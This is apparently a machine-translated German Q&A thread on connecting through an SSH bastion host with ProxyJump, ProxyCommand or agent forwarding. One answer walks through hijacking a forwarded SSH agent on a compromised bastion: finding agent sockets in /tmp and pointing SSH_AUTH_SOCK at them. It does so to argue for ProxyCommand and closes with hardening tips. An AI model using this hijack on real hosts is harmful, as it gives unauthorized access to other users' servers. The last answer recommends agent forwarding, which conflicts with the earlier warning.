Verwenden Sie ProxyCommand oder ProxyJump
Ich würde empfehlen, ProxyCommand
zu verwenden (oder noch besser ProxyJump
Da die Syntax einfacher ist, aber OpenSH 7.3+ erfordert, denke ich, auf der Client-Seite) und Sie keinen privaten Schlüssel auf der Bastion bereitstellen müssen, bleibt alles lokal.
Beispiel mit ProxyJump
Auf Ihrem Client-Rechner schreiben Sie eine Datei unter ~/.ssh/config
mit ähnlichem Inhalt wie unten:
Host bastion
HostName bastion.example.com
User bastion-user
Port 22
IdentityFile ~/.ssh/id_bastion
Host srvC
HostName srvC.local
User server-user
IdentityFile ~/.ssh/id_protected_lan
ProxyJump bastion
Dann mache ssh srvC
verbindet Sie mit C über B (Bastion) ohne Agentenweiterleitung oder Bereitstellung des privaten Schlüssels auf der Bastion.
Im obigen Beispiel ist „bastion“ ein Alias für Ihren Bastion-Host und srvC ist ein Alias für Ihren Server C. In HostName
Sie müssen entweder IPs oder echte vollqualifizierte Domänennamen für Ihre Hosts eingeben. Für die Benutzer müssen Sie den User
aktualisieren für den korrekten Login-Namen auf Bastion und Server C. Schließlich die IdentityFile
ist optional, wenn Sie einen lokalen Agenten verwenden (z. B. KeeAgent oder ssh-agent), aber wenn er nicht läuft, funktioniert er auch und fragt Sie nach jedem Schlüsselpasswort.
Bereitstellen der öffentlichen Schlüssel
Natürlich müssen Sie die Öffentlichkeit bereitstellen Schlüssel sowohl für Bastion als auch für srvC. Sie können verwenden (das $-Zeichen dient nur zur Veranschaulichung der Eingabeaufforderung, geben Sie es nicht ein):
$ ssh-copy-id -i ~/.ssh/id_bastion.pub \
-o PreferredAuthentications=password \
-o PubkeyAuthentication=no \
bastion
$ ssh-copy-id -i ~/.ssh/id_protected_lan.pub \
-o PreferredAuthentications=password \
-o PubkeyAuthentication=no \
srvC
Hinweis:Das obige funktioniert nur, wenn die Passwortauthentifizierung noch erlaubt ist. Nach der obigen Bereitstellung und der Überprüfung, ob alles wie vorgesehen funktioniert, sollten Sie die Passwortauthentifizierung auf den 2 Servern verbieten.
Beispiel mit ProxyCommand statt ProxyJump
Wenn Sie eine ältere Version von OpenSSH haben, die ProxyJump
nicht unterstützt (auf der Clientseite), dann ersetzen Sie:
ProxyJump bastion
von
ProxyCommand ssh -q -W %h:%p bastion
Soweit ich verstanden habe, ist dies ähnlich.
Ich habe die Antwort zu ProxyJump gesehen. Lassen Sie uns über ProxyCommand sprechen .
Aber warte, warte! Ich kann Ihnen schreiben, wie man den Server hackt das die Agentenweiterleitung verwendet, das wäre viel einfacher, den Unterschied zu verstehen!
Lass uns hacken!
Für die grundlegenden Schritte:Sie können meinen Beitrag hier lesen
Grundlegende Schritte sind die folgenden:
- Bastion-Benutzer erstellen
- Root-Anmeldung deaktivieren
- Blockieren Sie Hacking-Versuche
- Port ändern
- Firewall konfigurieren
- SELinux konfigurieren
Verwendung von AgentForwarding
-Erstellen Sie die Konfiguration in ~/.ssh/config
Host bast
Hostname BASTION_IP
ForwardAgent yes
User bastion
- Fügen Sie Ihren Authentifizierungsschlüssel zu ssh-agent hinzu
ssh-add ~/.ssh/name_rsa
-Mit Bastion Hos verbinden
ssh bast
-Anwendungsserver von der Bastion verbinden
ssh [email protected] -p PORT
Hacking!
Sie können mir die Frage stellen:
-
Ist mein Server sicher? Und die Antwort ist ganz einfach:
- NEIN!
-
Warum?
- Weil Sie die SSH-Agent-Weiterleitung verwenden!
-
Und wo liegt das Problem?
- Weil Agentenweiterleitung gefährlich ist und als schädlich angesehen wird.
-
Warum?
- Lassen Sie uns alles von Grund auf erklären:Wenn Sie sich mit dem Bastion-Host verbinden, wird Ihr glorreicher SSH-Agent weitergeleitet. Dies bedeutet, dass der Socket so eingerichtet wird, dass jemand diese Socket-Daten verwenden kann, um auf Ihre Server zuzugreifen. Stellen Sie sich vor, Ihr Bastion-Server ist kompromittiert. Wenn jemand über ausreichende Berechtigungen auf Ihrem Linux-Server verfügt, verwendet er/sie einfach Ihre Socket-Informationen. Dadurch kann auf alle Ihre Server zugegriffen werden. Ich weiß, dass das Kompromissfenster sehr klein ist, da es davon abhängt, wie lange Sie mit dem Bastion-Host verbunden sind. Aber wollen Sie wirklich das Risiko eingehen, wenn Sie andere Optionen wie ProxyCommand haben? Verwenden Sie daher einfach ProxyCommand!
Wie kann man Server hacken, wenn man Bastion Host kompromittiert hat?
Ziel verfolgen
Im /tmp-Verzeichnis sehen Sie vielleicht so etwas:
[[email protected] tmp]# ll
total 12
drwx------ 2 bastion bastion 4096 Sep 7 17:35 ssh-mKX88v0Vlo
Lassen Sie uns die temporäre Datei öffnen
[[email protected] tmp]# cd ssh-mKX88v0Vlo/
[[email protected] ssh-mKX88v0Vlo]# ll
total 0
srwxr-xr-x 1 bastion bastion 0 Sep 7 17:35 agent.10507
Mal sehen, Verbindungen zu dieser Prozess-ID.
netstat -nxp | grep 10507
Ergebnis:
unix [ ] STREAM CONNECTED 501384 10507/sshd: bastion
und Wer ist verbunden?
lsof -i -a -p 10507
Ergebnis:
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
sshd 10507 bastion 3u IPv4 501301 0t0 TCP *IP*:ssh->*IP*:8279 (ESTABLISHED)
Wir können auch Socket-Dateien sehen:
cd /proc/10507/fd/
ls
Ergebnis:
lrwx------ 1 root root 64 Sep 7 17:46 0 -> /dev/null
lrwx------ 1 root root 64 Sep 7 17:46 1 -> /dev/null
lrwx------ 1 root root 64 Sep 7 17:46 10 -> /dev/ptmx
lrwx------ 1 root root 64 Sep 7 17:46 14 -> /dev/ptmx
lrwx------ 1 root root 64 Sep 7 17:46 15 -> /dev/ptmx
lrwx------ 1 root root 64 Sep 7 17:46 2 -> /dev/null
lrwx------ 1 root root 64 Sep 7 17:46 3 -> socket:[501994]
lrwx------ 1 root root 64 Sep 7 17:46 4 -> socket:[502069]
lrwx------ 1 root root 64 Sep 7 17:46 5 -> socket:[502072]
l-wx------ 1 root root 64 Sep 7 17:46 6 -> /run/systemd/sessions/1836.ref
lr-x------ 1 root root 64 Sep 7 17:46 7 -> pipe:[502079]
l-wx------ 1 root root 64 Sep 7 17:46 8 -> pipe:[502079]
lrwx------ 1 root root 64 Sep 7 17:46 9 -> socket:[502080]
Und was passiert wann der Client verbunden wird zum Remote-Server? Mal sehen:
lrwx------ 1 root root 64 Sep 7 17:46 0 -> /dev/null
lrwx------ 1 root root 64 Sep 7 17:46 1 -> /dev/null
lrwx------ 1 root root 64 Sep 7 17:46 10 -> /dev/ptmx
lrwx------ 1 root root 64 Sep 7 17:48 11 -> socket:[502267]
lrwx------ 1 root root 64 Sep 7 17:46 14 -> /dev/ptmx
lrwx------ 1 root root 64 Sep 7 17:46 15 -> /dev/ptmx
lrwx------ 1 root root 64 Sep 7 17:46 2 -> /dev/null
lrwx------ 1 root root 64 Sep 7 17:46 3 -> socket:[501994]
lrwx------ 1 root root 64 Sep 7 17:46 4 -> socket:[502069]
lrwx------ 1 root root 64 Sep 7 17:46 5 -> socket:[502072]
l-wx------ 1 root root 64 Sep 7 17:46 6 -> /run/systemd/sessions/1836.ref
lr-x------ 1 root root 64 Sep 7 17:46 7 -> pipe:[502079]
l-wx------ 1 root root 64 Sep 7 17:46 8 -> pipe:[502079]
lrwx------ 1 root root 64 Sep 7 17:46 9 -> socket:[502080]
Mit netstat können wir sogar sehen, ob eine Socket-Datei verwendet wird:
unix 3 [ ] STREAM CONNECTED 502267 10561/sshd:
bastion /tmp/ssh-oVoMXC6vb8/agent.10561
unix 3 [ ] STREAM CONNECTED 502072 10561/sshd: bastion
Stehlen Sie Socket-Informationen und IP-Adresse
Jetzt müssen wir die Socket-Informationen stehlen, während die Sitzung des Bastion-Hosts geöffnet ist . Oh, wir brauchen auch die Zielserver-IP , verwenden Sie also einfach netstat:
netstat -tn
Der letzte Schritt um die weitergeleitete Socket-Datei zu verwenden
eval "$(ssh-agent -s)"
SSH_AUTH_SOCK=/tmp/ssh-EAKxOdL4fl/agent.10507
Prüfen Sie, ob der Schlüssel geladen ist .
ssh-add -l
Ergebnis sollte so etwas so sein :
2048 SHA256:2Psdl..B5KQ /home/usr/.ssh/name_rsa (RSA)
Server wurde gehackt, wie kann das Sicherheitsproblem behoben werden?
Proxy-Befehl
Host app
Hostname *.*.*.*
IdentityFile ~/.ssh/your_rsa
User *******
Port ****
ProxyCommand ssh -W %h:%p bast
Host bast
Hostname *.*.*.*
ForwardAgent no
User ******
Für grundlegende Operationen:wie man Dateien über die Server überträgt (von Client zu Server, Server zu Client), können Sie in meinem Beitrag hier nachlesen
Fazit
- Wenn Sie Bastion Host verwenden, verwenden Sie nicht AgentForwarding, sondern ProxyCommand
- Verwenden Sie immer Nicht-Root-Benutzer für die Authentifizierung
- Verwenden Sie eine Firewall und blockieren Sie alle unnötigen Verbindungen.
- Verwenden Sie SELinux (allgemein)
- Blockieren Sie die IP-Adresse, die versucht, sich mehrmals mit falschen Anmeldeinformationen anzumelden
- Wenn es nicht notwendig ist, geben Sie dem Benutzer keine sudo-Berechtigung
- Überwachen Sie Ihren Server
- Aktualisieren Sie Ihren Server für Sicherheitspatches
Weitere Informationen finden Sie in meinem Blog. Zusätzlich habe ich ein paar Screenshots, vielleicht hilft es dir weiter.
Verwenden Sie einfach die SSH-Agentenweiterleitung wie die meisten anderen.
- Die Schlüssel befinden sich im ssh-Agenten auf Ihrem Laptop.
- Sie melden sich bei Bastion an, authentifiziert durch den Agenten.
- Von dort aus melden Sie sich bei Ihrem Zielhost an, wobei die Authentifizierungsanfrage zurück an Ihren Laptop weitergeleitet wird .
Vorteil:Auf der Bastion sind keine Schlüssel gespeichert, die missbraucht werden können.
Hoffe das hilft :)